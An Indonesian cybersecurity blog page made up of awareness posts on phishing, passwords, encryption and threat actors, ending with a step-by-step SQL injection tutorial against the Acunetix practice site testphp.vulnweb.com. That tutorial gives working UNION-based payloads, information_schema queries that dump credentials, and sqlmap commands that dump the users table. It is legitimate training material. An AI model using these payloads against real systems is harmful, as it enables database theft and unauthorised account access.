Tampilkan postingan dengan label Cybersecurity. Tampilkan semua postingan
Tampilkan postingan dengan label Cybersecurity. Tampilkan semua postingan



Halo Brow! Ketemu lagi di segmen belajar Cybersecurity.kali ini saya mau ajak lagi buat bedah salah satu serangan yang paling sering memakan korban yaitu adalah Phishing.


Phishing itu nggak cuma soal link palsu saja, Bro. Tekniknya makin ke sini makin canggih dan sangat memanfaatkan psikologis kita. Soo, kita pelajari beberapa studi kasusnya supaya kita nggak gampang terjebak!


1. Credential Harvester (Pencuri Data Login)


Pertama ialah teknik yang paling klasik Bro, yaitu Hacker bakal mengirimkan email yang seolah-olah resmi (misal dari Bank atau Media Sosial) dan sifatnya Sangat Darurat (Urgency). Isinya biasanya bilang kalau akun Temen-temen terblokir atau ada aktivitas mencurigakan.


Di dalam email tersebut, ada link yang kalau diklik akan mengarah ke situs palsu yang mirip banget sama aslinya. Pas Temen-temen login di sana, saat itulah email dan password langsung jatuh ke tangan hacker. Ingat Bro, Bank nggak akan pernah minta data sensitif lewat email atau link nggak jelas!


2. Trojan & Malware via Attachment Email


Kalau tadi lewat link, kali ini lewat File Lampiran (Attachment). Hacker sering mengirim email dengan file yang kelihatannya aman, seperti CV, bukti pembayaran, atau tagihan. Menarik banget buat dibuka, kan?


Tapi hati-hati, Bro! Begitu file (biasanya format .doc, .exe, atau .zip) itu dibuka, malware atau Trojan di dalamnya bakal langsung menginfeksi komputer Temen-temen. Dampaknya? Komputer Temen-temen bisa dikontrol jarak jauh secara remote oleh hacker tanpa kita sadari.


3. Bahaya Android Malware di WhatsApp (Undangan Palsu)



Nah, ini yang lagi ramai banget di Indonesia beberapa tahun terakhir, Bro. Hacker mengirimkan pesan lewat WhatsApp berupa Undangan Pernikahan atau Informasi Paket dalam format file .APK.


Kalau Temen-temen klik dan instal aplikasi tersebut, HP Android Temen-temen bisa dikontrol penuh oleh hacker. Mereka bisa baca SMS (buat ambil kode OTP), buka m-banking, sampai curi isi galeri foto Temen-temen.

 
Note: Malware ini baru akan jalan kalau aplikasinya sudah diinstal. Jadi kalau cuma nggak sengaja klik tapi nggak diinstal, biasanya masih aman, Bro.

Bagaimana dengan iPhone? Meskipun nggak pakai format APK, iPhone juga punya ancaman serupa bernama Zero Click (contoh kasus: Pegasus). Bedanya, ini lebih ngeri karena kita nggak perlu ngeklik apa-apa pun perangkat bisa terinfeksi. Jadi, nggak ada sistem yang benar-benar 100% aman, Bro!

 

Ciri-Ciri Umum Serangan Phishing

Biar nggak kena serangan phishing, Temen-temen harus hafal tanda-tanda (Red Flags) berikut ini, Bro:

  • Alamat Pengirim Aneh: Cek nama domain emailnya. Misal dari Bank ABC tapi emailnya pakai @gmail.com atau domain nggak jelas lainnya.
  • Isi Pesan Menakut-nakuti: Biasanya mengandung ancaman waktu (misal: "Harus konfirmasi dalam 24 jam atau akun dihapus").
  • Link yang Mencurigakan: Tulisannya mungkin "bankabc.com", tapi pas di-hover link aslinya mengarah ke situs lain atau ada typo satu huruf.
  • Banyak Typos: Biasanya gaya bahasanya aneh, banyak salah ketik, atau formatnya berantakan nggak seperti akun resmi perusahaan.

Kesimpulan

Phishing itu menyerang psikologis kita, Bro. Mereka memanfaatkan rasa takut dan penasaran kita. Jadi, kalau Temen-temen dapet pesan yang kelihatannya terlalu darurat atau terlalu menarik, mending tenang dulu dan cek lagi dengan teliti.


Di artikel selanjutnya, saya bakal bahas lebih detail lagi gimana cara mengenali pesan phishing baik di email maupun WhatsApp secara teknis. Tetap waspada ya Bro! Kalau ada yang pernah punya pengalaman hampir kena phishing, boleh banget bagi ceritanya di kolom komentar!


Sekian dan Terimakasih...


Halo Brow, bertemu lagi di artikel Saya, kali ini kita akan lanjut terkait materi Cybersecurity! Setelah kita belajar soal enkripsi di artikel sebelumnya, kali ini saya mau bahas sesuatu yang lebih dekat lagi dengan aktivitas kita sehari-hari, Bro. Apalagi kalau bukan soal Password atau kata sandi.

Password itu ibarat kunci rumah kita, Bro. Kalau ada orang lain yang memegang kunci rumah tersebut, mereka bisa bebas masuk, mengambil harta benda, atau bahkan membahayakan penghuninya. Nah, akun email, media sosial, hingga mobile banking Temen-temen itu dijaga oleh satu hal utama: Password. Kalau password-nya lemah, sama saja kita membiarkan pintu rumah terbuka lebar buat maling, Bro!


Apa Itu Teknik Brute Force?

Mungkin Temen-temen bertanya, memangnya gimana sih cara hacker membobol password? Salah satu teknik yang paling sering digunakan adalah Brute Force, Bro.

Brute force ini adalah teknik di mana hacker mencoba jutaan bahkan miliaran kombinasi password dalam hitungan detik menggunakan bantuan komputer. Kalau Temen-temen pakai password yang gampang ditebak, hacker nggak butuh waktu lama buat masuk ke akun Temen-temen, Bro.

Data Survei 2024: Untuk password dengan 4-6 karakter, hacker bisa menebusnya secara instan (kurang dari 1 detik). Bahkan untuk 8 karakter yang isinya hanya angka, hacker cuma butuh waktu sekitar 37 detik saja, Bro! Ngeri poll, kan?

Rahasia Password yang "Mustahil" Dibobol

Berdasarkan survei komputasi tahun 2024, semakin banyak kombinasi karakter yang kita masukkan, semakin pusing hacker menebaknya. Perhatikan tabel di bawah ini untuk melihat estimasi waktunya, Bro:


Nah, seperti yang Temen-temen lihat pada tabel di atas, perbedaannya sangat jauh jika kita menambah panjang karakter dan kombinasi simbol:

  • 8 Karakter (Kombinasi Lengkap): Butuh waktu sekitar 7 tahun untuk ditembus.
  • 11 Karakter (Kombinasi Huruf & Angka): Butuh waktu sekitar 618.000 tahun, Bro.
  • 13 Karakter (Kombinasi Lengkap): Butuh waktu 11 miliar tahun. Bisa dibilang impossible buat di-brute force, Bro.

Kesalahan Umum yang Sering Kita Lakukan

Coba cek, Bro, apa Temen-temen masih sering melakukan hal-hal di bawah ini?

  • Pakai Info Pribadi: Menggunakan nama sendiri, tanggal lahir, atau nama peliharaan. Ini gampang banget ditebak orang lain.
  • Satu Password buat Semua Akun: Kalau satu akun jebol, semua akun Temen-temen bakal kena efek domino.
  • Menulis di Catatan Terbuka: Menempel kertas password di monitor atau menulisnya di Notepad tanpa enkripsi itu bahaya bro.

Tips Membuat Password yang Super Kuat

Nah, sekarang saya mau kasih tahu cara bikin kunci(password) digital yang kokoh buat Temen-temen semua:

  1. Minimal 12 Karakter: Semakin panjang, semakin aman.
  2. Gunakan Kombinasi: Campur antara huruf besar, huruf kecil, angka, dan simbol (misal: @, #, $, !).
  3. Gunakan Frasa Unik: Jangan pakai kata yang umum. Gunakan kalimat acak yang nggak menggambarkan diri Temen-temen secara langsung.
  4. Pakai Password Manager: Biar nggak lupa, Bro, mending pakai aplikasi Password Manager. Jadi semua password disimpan secara aman dan terenkripsi.

Cara Cek, Apakah Password Temen-temen Pernah Bocor?

Terakhir, Bro, saya mau kasih rekomendasi website keren buat ngecek keamanan data kita. Namanya Have I Been Pwned.


Temen-temen bisa kunjungi haveibeenpwned.com lalu masukkan password yang biasa digunakan. Kalau hasilnya muncul warna merah, itu artinya password tersebut pernah bocor dalam kasus peretasan besar di internet. Kalau sudah merah, segera ganti dan jangan pernah pakai password itu lagi di mana pun, Bro!


Kesimpulan

Memiliki password yang panjang dan rumit sekarang ini harus sudah menjadi kewajiban Bro. Seiring komputer masa depan yang makin cepat, kita harus selangkah lebih maju dalam mengamankan data kita sendiri.

Semoga tips ini bermanfaat buat Temen-temen semua. Jangan lupa share ke orang terdekat supaya mereka juga aman ya Broww! Sekian dan terimakasih.
Sampai jumpa di artikel berikutnya.

Oke broww kali ini kita akan lanjut bahasan terkait Cybersecurity lagi, Setelah kita membahas tentang siapa saja "dalang" di balik serangan siber, sekarang kita akan masuk ke bahasan yang tidak kalah seru, Bro. Kita akan bahas gimana cara mengamankan data agar tidak bisa dibaca oleh orang yang tidak berhak, yaitu melalui Data Encryption.


Mungkin Temen-temen sering mendengar istilah enkripsi, dekripsi, hingga encoding. Semua ini berkaitan erat dengan Cybersecurity, khususnya dalam menjaga pilar Confidentiality (Kerahasiaan). Jadi, mari kita bahas satu per satu brooww!


Apa Itu Enkripsi dan Bedanya dengan Encoding?

Secara sederhana, Enkripsi adalah proses mengubah data asli (plain text) yang bisa kita baca, menjadi kode-kode rahasia (cipher text) yang tidak masuk akal bagi manusia. Tujuannya jelas, Bro: supaya data rahasia tersebut tidak bisa diintip oleh orang lain yang tidak punya "kunci"-nya.

Lalu, apa bedanya dengan Encoding? Nah, kalau encoding itu sebenarnya hanya mengubah format data supaya bisa dimengerti oleh suatu sistem tertentu saja, Bro. Tujuannya bukan untuk keamanan, melainkan untuk kesesuaian format data agar bisa diproses sistem.

Analogi Sederhana: Bayangkan Temen-temen mengirim surat rahasia zaman dulu menggunakan sandi rumit yang hanya bisa dibaca kalau punya kamus sandinya. Tanpa kamus itu, surat tersebut hanya terlihat seperti kumpulan huruf acak aja, Bro.

 

Enkripsi di Kehidupan Sehari-hari

Tanpa kita sadari, sebenarnya kita sudah sering menggunakan teknologi enkripsi ini lho, Bro. Contohnya:

  • WhatsApp: Menggunakan End-to-End Encryption, jadi hanya pengirim dan penerima saja yang bisa baca pesannya.
  • Website HTTPS: Kalau Temen-temen melihat ikon gembok di URL bar, itu artinya koneksi kita aman dan terenkripsi. Kalau cuma HTTP (tanpa S), orang lain dalam satu jaringan bisa menyadap komunikasi kita, Bro.
  • Cryptocurrency: Teknologi Blockchain seperti Bitcoin menggunakan enkripsi untuk memvalidasi transaksi.
  • Password Manager: Semua password disimpan dalam bentuk kode acak, jadi nggak bisa dibaca orang lain meski mereka berhasil masuk ke sistemnya.

Tipe-Tipe Enkripsi

Dalam dunia digital, enkripsi secara umum dibagi menjadi dua tipe utama, Bro. Temen-temen perlu tahu bedanya:

1. Enkripsi Simetris (Symmetric Encryption)

Tipe ini menggunakan satu kunci yang sama untuk proses mengunci (enkripsi) dan membuka (dekripsi) data. Prosesnya sangat cepat, tapi kita harus ekstra hati-hati menjaga kuncinya agar tidak jatuh ke tangan yang salah, Bro.


2. Enkripsi Asimetris (Asymmetric Encryption)

Tipe ini lebih canggih karena menggunakan dua kunci yang berbeda: Public Key untuk mengunci data, dan Private Key untuk membukanya. Meski prosesnya sedikit lebih lama dibanding simetris, tipe ini jauh lebih aman buat pengiriman data di internet, Bro.


Simulasi Proses Enkripsi dan Dekripsi

Biar Temen-temen ada gambaran, saya akan coba ilustrasikan proses ini menggunakan bantuan tools seperti CyberChef atau Cybersave, dan bisa di tonton video berikut Bro.


Contoh Simetris: Vigenere Cipher

Misalkan kita punya pesan: "belajar cybersecurity sangat seru".

Kita buat kuncinya: "bulan". Saat diproses, pesannya berubah jadi kalimat acak. Nah, untuk mengembalikannya, kita wajib pakai kunci yang sama persis yaitu "bulan". Kalau kuncinya beda, datanya tetap jadi sampah yang nggak bisa dibaca, Bro.


Contoh Asimetris: RSA

Dalam metode RSA, kita harus membuat sepasang kunci (Key Pair). Pas saya masukkan kalimat yang sama dan mengenkripsinya dengan Public Key, hasilnya jadi acak banget. Untuk membukanya kembali, saya wajib pakai Private Key pasangannya. Inilah rahasia kenapa transaksi kita di internet tetap aman, Bro!


Kesimpulan:

Intinya, Bro, enkripsi adalah pilar utama kalau kita bicara soal privasi data. Memilih antara tipe simetris atau asimetris sangat bergantung pada apa yang Temen-temen prioritaskan, apakah kecepatan atau keamanan tingkat tinggi.

Semoga pembahasan kali ini bermanfaat buat Temen-temen semua ya, sekian dan terimakasih🙏

Mengenal Ancaman Umum di Dunia Siber dan Siapa di Baliknya

Setelah pada artikel sebelumnya kita telah membahas pondasi dasar Cybersecurity dan CIA Triad, sekarang muncul sebuah pertanyaan: Sebenarnya, apa saja yang mengancam kita di internet? Dan siapakah individu atau kelompok yang memiliki niat untuk menyerang sistem tersebut?

Ancaman Umum di Dunia Siber

Serangan siber memiliki banyak bentuk. Berikut adalah tiga jenis ancaman yang paling sering kita temui dalam aktivitas digital sehari-hari:

1. Phishing (Penipuan Digital)

Phishing adalah teknik penipuan yang bertujuan untuk mencuri data pribadi Temen-temen, seperti kata sandi (password) atau data kartu kredit. Biasanya, penyerang mengirimkan email, SMS, atau tautan palsu yang menyamar sebagai situs resmi, misalnya institusi perbankan atau media sosial.

  • Ciri-ciri: Adanya kesan darurat (misalnya: "Akun Teman-temen terblokir!"), alamat email pengirim yang mencurigakan, serta tautan yang mengarah ke domain yang tidak dikenal.
  • Solusinya: Jangan terburu-buru mengeklik tautan. Selalu periksa alamat situs secara teliti dan lakukan verifikasi langsung ke sumber resminya jika Temen-temen merasa ragu.

Simulasi Nyata: Agar Temen-temen tidak penasaran mengenai bagaimana cara peretas (hacker) "memancing" korbannya, saya pernah membuat simulasi praktisnya dalam salah satu webinar saya. Di sana, saya mempraktikkan langsung bagaimana sebuah tautan palsu dapat mencuri data tanpa disadari. 

Tonton simulasinya di sini: Webinar Introduction to Cybersecurity - Phishing Lab

2. Malware (Malicious Software)

Sesuai namanya, ini adalah program jahat yang disisipkan ke perangkat Temen-temen tanpa izin. Malware memiliki banyak jenis, mulai dari Virus yang merusak berkas, Trojan yang menyamar sebagai aplikasi bermanfaat, hingga Spyware yang berfungsi untuk memantau aktivitas Temen-temen secara diam-diam.

  • Cara Mencegah: Pastikan Temen-temen hanya menginstal aplikasi dari sumber resmi (seperti Play Store atau App Store), selalu gunakan perangkat lunak antivirus yang diperbarui, dan hindari mengunduh berkas dari situs yang tidak terpercaya.

3. Ransomware (Penyanderaan Data)

Ini adalah jenis malware yang sangat diwaspadai. Ransomware akan mengunci seluruh berkas di komputer Temen-temen dan penyerang akan meminta uang tebusan (ransom) jika Temen-temen ingin berkas tersebut dapat diakses kembali.

Kasus Nyata:  WannaCry pada tahun 2017 yaitu serangan yang melumpuhkan ratusan ribu komputer di seluruh dunia, termasuk fasilitas kesehatan dan instansi pemerintah.

Cara Mencegah: Rutinlah melakukan pencadangan (backup) data di tempat yang berbeda, rajin memperbarui sistem operasi, dan jangan pernah membuka lampiran email dari pengirim yang tidak dikenal.

Threat Actor: Siapa Pelaku Serangan Siber?

Nah Temen-temen kan pasti kepo yah, siapa sih orang dibalik ini semua gitu. Jadi ada beberapa orang yang menjadi dalang dibaliknya bro, yaitu pertama ada yang namanya Hacker, nah pasti Temen-temen ngga asing kan dengar kata Hacker. Tapi tunggu dulu, tidak semuanya Hacker itu jahat ya... ada juga  yang baik juga lohh..., nah ini saya akan berikan kelompok/klasifikasinya berdasarkan etikanya juga.

Klasifikasi Hacker Berdasarkan "Topi"

  • White Hat Hacker: Sering disebut sebagai "Hacker Baik". Mereka meretas sistem dengan izin pemiliknya untuk menemukan celah keamanan dan memperbaikinya.
  • Black Hat Hacker: Inilah penjahat siber yang sebenarnya. Mereka meretas dengan niat jahat untuk mencuri data, merusak sistem, atau mencari keuntungan pribadi secara ilegal.
  • Grey Hat Hacker: Berada di tengah-tengah. Mereka mungkin meretas tanpa izin, tapi tidak bermaksud jahat. Biasanya mereka akan melaporkan celah yang ditemukan kepada pemilik sistem dan terkadang mengharapkan imbalan.

Advanced Persistent Threat (APT)

APT adalah sekelompok peretas yang memiliki keahlian tinggi dan menggunakan teknologi canggih untuk meretas sistem secara berkelanjutan dan tersembunyi. Mereka tidak hanya menyerang sekali, namun dapat bertahan lama di dalam jaringan target untuk mencuri data secara bertahap.

Kelompok Peretas Terkenal

Terdapat beberapa kelompok peretas atau ransomware group yang reputasinya sangat diwaspadai di dunia internasional, contohnya antara lain:

  • REvil
  • Conti
  • Lockbit

State-Sponsored Threat Actor

Ini adalah kelompok peretas yang didukung langsung atau didanai oleh suatu negara untuk kepentingan intelijen atau spionase. Beberapa contoh yang sering muncul dalam laporan keamanan dunia adalah:

  • APT 29: Sering dikaitkan dengan Rusia.
  • APT 38: Sering dikaitkan dengan Korea Utara, terutama untuk motif finansial.

Kesimpulan

Intinya, memahami siapa lawan kita dan metode apa yang mereka gunakan adalah langkah awal yang sangat penting agar kita tidak mudah menjadi korban. Dunia digital memang sangat luas dan penuh risiko, namun selama Temen-temen tetap waspada dan mau terus belajar, saya yakin kita bisa tetap beraktivitas dengan aman.

Oke, mungkin cukup segitu dulu, semoga bermanfaat dan bisa lebih menyadari untuk berhati-hati terhadap potensi ancaman di dunia digital bro! Stay safee!


Halo semua, kembali lagi dengan Saya Adelwin! Setelah kita bahas teknis SQL Injection, kali ini mau mundur selangkah buat bahas "Big Picture" nya: Apa sih sebenarnya Cybersecurity itu? Kenapa kita baik individu maupun organisasi harus peduli?

1. Apa Itu Cybersecurity?

Gampangnya, Cybersecurity adalah cara kita melindungi data, sistem, dan jaringan dari serangan digital.

Bayangin dunia digital itu kayak rumah. Rumah butuh pintu, pagar, kunci, bahkan satpam buat ngelindungin dari maling. Di dunia digital pun sama. Tujuannya supaya data kita nggak bocor, sistem nggak diretas, dan aktivitas online kita tetep aman terkendali.

2. Konteks Organisasi: Skala yang Lebih Besar

Kalau buat individu mungkin cuma soal amankan akun medsos, tapi buat organisasi atau perusahaan, skalanya jauh lebih besar. Organisasi butuh keamanan digital buat ngelindungin:

  • Data Pelanggan & Karyawan: Privasi itu mahal harganya!
  • Sistem Infrastruktur: Jangan sampai operasional mati total gara-gara serangan siber.
  • Reputasi: Sekali data bocor, kepercayaan pelanggan bisa hilang selamanya.

3. Pilar Utama: CIA Triad

Dalam Cybersecurity, ada konsep "suci" yang namanya CIA Triad. Ini adalah tiga pilar utama yang harus dijaga :

CONFIDENTIALITY (Kerahasiaan)

Memastikan data rahasia cuma bisa diakses oleh orang yang berhak. Jangan sampai informasi sensitif jatuh ke tangan yang salah.

INTEGRITY (Integritas)

Memastikan data tetap akurat dan konsisten. Nggak ada pihak luar yang mengubah atau memanipulasi data di tengah jalan.

AVAILABILITY (Ketersediaan)

Memastikan data atau layanan selalu siap diakses kapan pun dibutuhkan, baik oleh tim internal maupun publik.

4. Sejarah: Evolusi Ancaman Siber

Cybersecurity nggak muncul tiba-tiba. Dia berevolusi seiring dengan perkembangan teknologi internet:

  • 1960-an: Awal internet (ARPANET) diciptakan murni dibuat untuk komunikasi.
  • 1980-an: Semua orang dianggap “trusted” sampai muncul virus seperti Brain dan Morris Worm.
  • 1990-an: Internet makin luas (WWW muncul). Serangan mulai berkembang: hacker, malware, phishing.
  • 2025 - Sekarang: Serangan semakin canggih seperti Ransomware, serangan berbasis AI, dan Advanced Persistent Threat (APT).

5. Regulasi dan Dampaknya bagi Kita

Sekarang, keamanan data bukan cuma soal teknis, tapi soal hukum. Di Indonesia kita punya UU Pelindungan Data Pribadi (UU PDP) untuk melindungi hak privasi warga negara.

Dampaknya bagi kita apa?

  • Individu: Kelalaian bisa berujung pada pencurian identitas, akun medsos dibobol, hingga kerugian finansial.
  • Organisasi: Kebocoran data bisa bikin operasional lumpuh, kena denda hukum yang besar, dan kehilangan kepercayaan pasar.

Kesimpulan

Belajar Cybersecurity bukan cuma buat jadi hacker, tapi supaya kita bisa bertahan di tengah maraknya kejahatan di dunia digital saat ini. Stay safe, stay secure broww!

BELAJAR SQL INJECTION: DARI MANUAL HINGGA OTOMATIS (LAB: TESTPHP.VULNWEB.COM)

Halo semua! Setelah sekian lama nggak update, kali ini saya mau berbagi catatan belajar tentang salah satu celah keamanan paling legendaris: SQL Injection (SQLi). 


Kita akan menggunakan lab latihan dari Acunetix yaitu: http://testphp.vulnweb.com.
Ingat, tutorial ini hanya untuk tujuan edukasi dan pentesting legal ya!

1. MENCARI PINTU MASUK (RECONNAISSANCE)

Langkah pertama adalah mencari URL yang berkomunikasi langsung dengan database. Biasanya ditandai dengan adanya parameter ID di akhir URL.
Contoh:

- http://testphp.vulnweb.com/listproducts.php?cat=1
- http://testphp.vulnweb.com/product.php?pic=1

Kenapa? Karena parameter ini biasanya digunakan oleh backend untuk mengambil data dari tabel database. Website statis (seperti .html) biasanya lebih aman dari serangan jenis ini.

2. TESTING: MEMATAHKAN STRUKTUR QUERY


Setelah nemu target, kita coba tambahkan tanda petik tunggal (') di akhir ID untuk memicu error (syntax break).

Contoh: listproducts.php?cat=1'

Kenapa tanda petik? Karena dalam database, tanda petik harus berpasangan (pembuka dan penutup). Kalau kita tambahin satu di akhir, strukturnya jadi ganjil dan SQL-nya akan error.
Yang dicari: Pesan error yang spesifik. Kalau error-nya muncul, berarti pintunya "terbuka" (Vulnerable). Kalau halamannya cuma blank, itu namanya Blind SQL Injection (materi tingkat lanjut).


3. MENCARI JUMLAH KOLOM (ORDER BY)

Setelah tahu pintunya terbuka, kita perlu tahu ada berapa "kamar" (kolom) di dalam database tersebut menggunakan perintah ORDER BY.

Contoh: product.php?cat=1 ORDER BY 10-- -



Cara menentukannya:

- Coba angka 10, kalau halaman normal, berarti kolom ada 10 atau lebih.
- Coba angka 12, kalau halaman error/blank, berarti kolom kurang dari 12.
- Jika di angka 12 error dan di angka 11 normal, maka jumlah kolom fix adalah 11.



4. MENCARI "NOMOR AJAIB" (VULNERABLE COLUMN)

Kita perlu tahu kolom nomor berapa yang hasilnya muncul di halaman website menggunakan perintah UNION SELECT.

Contoh (jika kolom ada 11):

product.php?cat=-1 union select 1,2,3,4,5,6,7,8,9,10,11-- -

Trik Penting: Ubah ID menjadi negatif (cat=-1). Ini dilakukan supaya query asli server kosong, sehingga database dipaksa menampilkan hasil dari query UNION kita. Lihat angka yang muncul di layar (misal angka 7 dan 11). Itulah "nomor ajaib" kita.


5. EKSPLOITASI: DUMPING DATA (DIOS - DUMP IN ONE SHOT)

Gunakan nomor ajaib tadi untuk menyuntikkan perintah (query) untuk mengintip isi database.


- Mencari Nama Tabel:
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())


- Mencari Nama Kolom (Misal pada tabel 'users'):
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')


- Mengambil Data (Username & Password):
(SELECT group_concat(uname,0x3a,pass) FROM users)



Setelah ketemu username dan password-nya, tinggal cari halaman login admin dan boom! Kita bisa masuk ke sistem.

   disini saya sudah menemukan halaman loginnya yaitu http://testphp.vulnweb.com/login.php, dan saya langsung masukkin username test dan password test tadi yang sudah ditemukan.


dan boom, kita sudah bisa masuk ke systemnya dengan kredensial tadi, dan disini di cek masuk sebagai user bernama relax😂.


6. PENGGUNAAN TOOLS SQLMAP (OTOMATIS)



Nah, setelah kita bahas cara manual yang lumayan ribet, sebenarnya ada cara yang jauh lebih praktis. Yup, ada versi otomatisnya juga buat eksploitasi SQLi, yaitu menggunakan tools sakti bernama SQLmap.


Tool ini biasanya sudah bawaan kalau lo pakai Kali Linux. Buat yang belum punya, bisa install dulu lewat terminal:

sudo apt-get install sqlmap -y

Kalau masih bingung perintahnya apa saja, tinggal panggil bantuan:
sqlmap -h

- Melihat Database:

sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" --dbs

- Melihat Tabel dalam Database (Misal DB: acuart):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart --tables

- Melihat Kolom dalam Tabel (Misal Tabel: users):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users --columns

- Dump Data Username dan Password:

sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users -C "uname,pass" --dump

KESIMPULAN

SQL Injection terjadi karena input dari user tidak difilter dengan baik. Cara terbaik mencegahnya adalah dengan menggunakan Prepared Statements (Parameterized Queries) agar input user tidak dianggap sebagai perintah SQL.


Stay safe dan gunakan ilmu ini dengan bijak!